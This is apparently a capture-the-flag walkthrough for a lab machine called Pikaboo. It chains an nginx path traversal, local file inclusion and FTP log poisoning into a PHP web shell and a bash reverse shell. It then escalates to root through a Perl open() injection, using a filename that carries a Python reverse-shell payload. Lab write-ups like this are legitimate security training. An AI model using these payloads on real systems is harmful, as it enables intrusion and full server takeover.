Enumeration
sudo nmap -sC -sS -sV -F 10.10.10.249 >scan.txt
Starting Nmap 7.92 ( <https://nmap.org> ) at 2021-11-17 20:14 EET
Nmap scan report for 10.10.10.249
Host is up (0.069s latency).
Not shown: 97 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 17:e1:13:fe:66:6d:26:b6:90:68:d0:30:54:2e:e2:9f (RSA)
| 256 92:86:54:f7:cc:5a:1a:15:fe:c6:09:cc:e5:7c:0d:c3 (ECDSA)
|_ 256 f4đź’ż6f:3b:19:9c:cf:33:c6:6d:a5:13:6a:61:01:42 (ED25519)
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Pikaboo
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 9.92 seconds
There is a website on port 80 and an ftp server. Those may be access points.
In the website, there is an exposed admin section, which requires credentials.
I tried sqlmap on http://10.10.10.249/pokeapi.php?id=1 with no results. If we run an nmap vulnerabilities scan
nmap -sV -A --script vuln 10.10.10.249
we get a lot of admin pages that require authentication.
80/tcp open http nginx 1.14.2
| http-enum:
| /admin/: Possible admin folder (401 Unauthorized)
| /admin/admin/: Possible admin folder (401 Unauthorized)
| /administrator/: Possible admin folder (401 Unauthorized)
| /adminarea/: Possible admin folder (401 Unauthorized)
| /adminLogin/: Possible admin folder (401 Unauthorized)
| /admin_area/: Possible admin folder (401 Unauthorized)
| /administratorlogin/: Possible admin folder (401 Unauthorized)
| /admin/account.php: Possible admin folder (401 Unauthorized)
| /admin/index.php: Possible admin folder (401 Unauthorized)
| /admin/login.php: Possible admin folder (401 Unauthorized)
| /admin/admin.php: Possible admin folder (401 Unauthorized)
| /admin_area/admin.php: Possible admin folder (401 Unauthorized)
Getting the foothold
I guess nobody adds this much pages, so it must be some configuration of
htaccess or nginx to require login on admin*
pages. If we investigate
more, we can guess it may be caused by an Off-By-Slash
misconfiguration of nginx:
It may look like the following:
location /admin {
alias /usr/share/nginx/admin/;
}
Nginx will parse until finding /admin
, which means a request like
/administrator/
is resolved as /usr/share/nginx/admin/istrator/
.
By knowing that, we can easily exploit this misconfiguration, by
traversing the path, with /admin../
. If we request the page, we will
get a Forbidden response. This means we have bypassed the
authentication.
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 81</address>
</body></html>
Now we now we can traverse directories. Although, we are still not able
to access admin page by doing /admin../admin/
, so we can try fuzzing
for finding other access points, such as config files or things like
that.
gobuster fuzz -w /usr/share/dirbuster/directory-list-lowercase-2.3-medium.txt -u <http://10.10.10.249/admin../FUZZ> -b 404
We get some hits!
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: <http://10.10.10.249/admin../FUZZ>
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Excluded Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/11/17 20:59:05 Starting gobuster in fuzzing mode
===============================================================
Found: [Status=401] [Length=456] <http://10.10.10.249/admin../admin>
Found: [Status=301] [Length=314] <http://10.10.10.249/admin../javascript>
Found: [Status=200] [Length=4617] <http://10.10.10.249/admin../server-status>
We can access the server-status
page, which gives us information about
the Apache server.
Srv PID Acc M CPU SS Req Conn Child Slot Client VHost Request
0-1 684 0/11394/11394 _ 2.29 0 0 0.0 7.11 7.11 127.0.0.1 localhost:81 GET /admin_staging HTTP/1.1
1-1 685 0/11351/11351 _ 2.26 0 0 0.0 6.61 6.61 127.0.0.1 localhost:81 GET /admin/../edelstein HTTP/1.0
2-1 686 0/11470/11470 _ 2.30 0 0 0.0 6.99 6.99 127.0.0.1 localhost:81 GET /admin/../buy_tramadol HTTP/1.0
3-1 687 0/11318/11318 W 2.25 0 0 0.0 7.35 7.35 127.0.0.1 localhost:81 GET /admin/../server-status HTTP/1.0
4-1 688 0/11404/11404 _ 2.25 0 0 0.0 6.64 6.64 127.0.0.1 localhost:81 GET /admin/../2172540 HTTP/1.0
5-1 27860 0/10826/10826 _ 2.27 0 0 0.0 7.11 7.11 127.0.0.1 localhost:81 GET /admin/../005771 HTTP/1.0
6-1 16053 0/8101/8101 _ 1.56 0 0 0.0 4.45 4.45 127.0.0.1 localhost:81 GET /admin/../lookbook HTTP/1.0
7-1 17107 0/5713/5713 _ 1.09 0 0 0.0 3.20 3.20 127.0.0.1 localhost:81 GET /admin/../skincare HTTP/1.0
We can see more endpoints, such as admin_staging
. If we try
http://10.10.10.249/admin../admin_staging/, we get to an
admin dashboard!
The page seems useless, as you can’t interact with anything, and the
user profile form does not change anything. Although, if you pay
attention to the url, you will see the pages are loaded by php file:
[http://10.10.10.249/admin](http://10.10.10.249/admin)``../admin_staging/index.php?page=dashboard.php
Getting the user flag
The page seems to be vulnerable to Local File Inclusion (LFI). We can
fuzz the page
parameter with linux paths.
gobuster fuzz -w /usr/share/dirbuster/vulns/file_inclusion_linux.txt -u <http://10.10.10.249/admin../admin_staging/index.php\\?page\\=/FUZZ> --exclude-length 15349 -b 400
And we get some interesting files:
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: <http://10.10.10.249/admin../admin_staging/index.php?page=/FUZZ>
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/vulns/file_inclusion_linux.txt
[+] Excluded Status codes: 400
[+] Exclude Length: 15349
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/11/17 21:41:29 Starting gobuster in fuzzing mode
===============================================================
Found: [Status=200] [Length=47381] <http://10.10.10.249/admin../admin_staging/index.php?page=//var/log/faillog>
Found: [Status=200] [Length=307641] <http://10.10.10.249/admin../admin_staging/index.php?page=//var/log/lastlog>
Found: [Status=200] [Length=19803] <http://10.10.10.249/admin../admin_staging/index.php?page=//var/log/vsftpd.log>
Found: [Status=200] [Length=169717] <http://10.10.10.249/admin../admin_staging/index.php?page=//var/log/wtmp>
We can see some logs in vsftpd.log
. This file stores all the login
attempts for the ftp server. Pages are rendered by php, so we can try
Log Poisoning.
ftp 10.10.10.249
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
Name (10.10.10.249:zebra): '<?php system($_GET['c']); ?>'
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed.
ftp>
This will create an entry in the file with the php code as name, so it
will be executed. We can run commands with the following:
?page=//var/log/vsftpd.log&c=ifconfig
.
We can create a reverse shell adding another poison entry with the following command:
ftp 10.10.10.249
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
Name (10.10.10.249:zebra): '<?php exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.14.100/6666 0>&1'"); ?>'
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed.
ftp>
Just listen with netcat and reload the page, and we will have www-data!
There is python3
installed, so we can upgrade the shell.
python3 -c 'import pty; pty.spawn("/bin/bash")'
And we will have an upgraded shell:
www-data@pikaboo:/var/www/html/admin_staging$
You can now grab the user flag from the pwnmeow
home dir.
Privilege escalation
As the page said, there is a pokeapi
thing under development. We can
do a quick search:
find / -name '*pokeapi*' 2>/dev/null
And we get some interesting results.
/run/pokeapi
/var/www/html/pokatdex/pokeapi.php
/etc/systemd/system/pokeapi.service
/etc/tmpfiles.d/pokeapi.conf
/opt/pokeapi
We can see some source code in /opt/pokeapi
. Inside the config folder,
there is a settings.py
file which contains some interesting
information:
DATABASES = {
"ldap": {
"ENGINE": "ldapdb.backends.ldap",
"NAME": "ldap:///",
"USER": "cn=binduser,ou=users,dc=pikaboo,dc=htb",
"PASSWORD": "J~42%W?PFHl]g",
},
"default": {
"ENGINE": "django.db.backends.sqlite3",
"NAME": "/opt/pokeapi/db.sqlite3",
}
}
CACHES = {
"default": {
"BACKEND": "django_redis.cache.RedisCache",
"LOCATION": "redis://127.0.0.1:6379/1",
"OPTIONS": {
"CLIENT_CLASS": "django_redis.client.DefaultClient",
},
}
}
SECRET_KEY = os.environ.get(
"SECRET_KEY", "ubx+22!jbo(^x2_scm-o$*py3e@-awu-n^hipkm%2l$sw$&2l#"
)
First of all, it is running ldap. There is also a plain text
password there. As we have a password, we may try with ldapsearch
with
the following parameters:
-x Simple Authentication
-h LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
We can infer the parameters from the config above.
ldapsearch -x -h 127.0.0.1 -D'cn=binduser,ou=users,dc=pikaboo,dc=htb' -w 'J~42%W?PFHl]g' -b "dc=pikaboo,dc=htb"
We will get some passwords.
# pwnmeow, users, ftp.pikaboo.htb
dn: uid=pwnmeow,ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
uid: pwnmeow
cn: Pwn
sn: Meow
loginShell: /bin/bash
uidNumber: 10000
gidNumber: 10000
homeDirectory: /home/pwnmeow
userPassword:: X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==
# binduser, users, pikaboo.htb
dn: cn=binduser,ou=users,dc=pikaboo,dc=htb
cn: binduser
objectClass: simpleSecurityObject
objectClass: organizationalRole
userPassword:: Sn40MiVXP1BGSGxdZw==
If we decrypt the passwords with base64
, we get the following:
> echo "X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==" | base64 -d
_G0tT4_C4tcH_'3m_4lL!_
> echo "Sn40MiVXP1BGSGxdZw==" | base64 -d
J~42%W?PFHl]g
There is a new password which seems to be used to log in as pwnmeow in ftp. We can login from outside the reverse shell:
> ftp 10.10.10.249
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
Name (10.10.10.249:zebra): pwnmeow
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
By investigating the cronjobs, we can see there is one running:
www-data@pikaboo:/opt/pokeapi$ cat /etc/crontab
cat /etc/crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root /usr/local/bin/csvupdate_cron
If we read the content of the script:
#!/bin/bash
for d in /srv/ftp/*
do
cd $d
/usr/local/bin/csvupdate $(basename $d) *csv
/usr/bin/rm -rf *
done
The script is being called with the basename
of the directory and every file
ending in csv
inside, for example: types water.csv
. The code of the csvupdate
script is in perl.
my $fname = "${csv_dir}/${type}.csv";
open(my $fh, ">>", $fname) or die "Unable to open CSV target file.\\n";
It uses the open function, which documentation shows us a possible flaw:
If the last character is a pipe, then the command is executed and its standard output is fed into the filehandle where it can be read using Perl’s file input mechanisms. – “Perl for Perl Newbies” - Part 4
The first arg of the script is appended to the fname variable, but it is
checked so it matches one of the csv_fields
map, so we cannot inject
code there.
The actual vulnerability is in the following lines:
shift;
for(<>)
{
...
}
In perl, the <>
performs an open of the argv. As we mentioned, the
open function can lead to weird behavior if the file name contains a
pipe character.
For example, the lines above executed like this:
perl script *csv
inside a directory with the following files (we need to ensure our files
end in csv
or they will be ignored by the wildcard):
-rw-r--r-- 1 zebra zebra 0 Nov 18 10:03 water.csv
-rw-r--r-- 1 zebra zebra 0 Nov 18 10:12 |echo test;echo .csv
would run the echo test
and the echo .csv
.
There is a new double diamond operator (<<>>
) to fix this issue, but
it is weird that the default behavior can be exploited that easily.
Going back to the machine, we are going to setup everything on the host to perform the exploit. We will create two files, one that is empty (which I named empty haha) and another one with the reverse shell as described above.
touch "|python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("\\"10.10.14.100\\"",6667));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("\\"sh\\"")';.csv"
touch empty
From that dir, we can now connect to the ftp with the credentials we discovered previously and put the file.
ftp> put
(local-file) test
(remote-file) "|python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("\\"10.10.14.100\\"",6667));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("\\"sh\\"")';.csv"
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
ftp>
With a netcat listening, we will receive a connection from root:
# whoami
root
And we can now get the root flag!
References
- Off-By-Slash
- Local File Inclusion
- FTP Log poisoning
- LDAP enumeration
open
function in perl- Diamond Operator in perl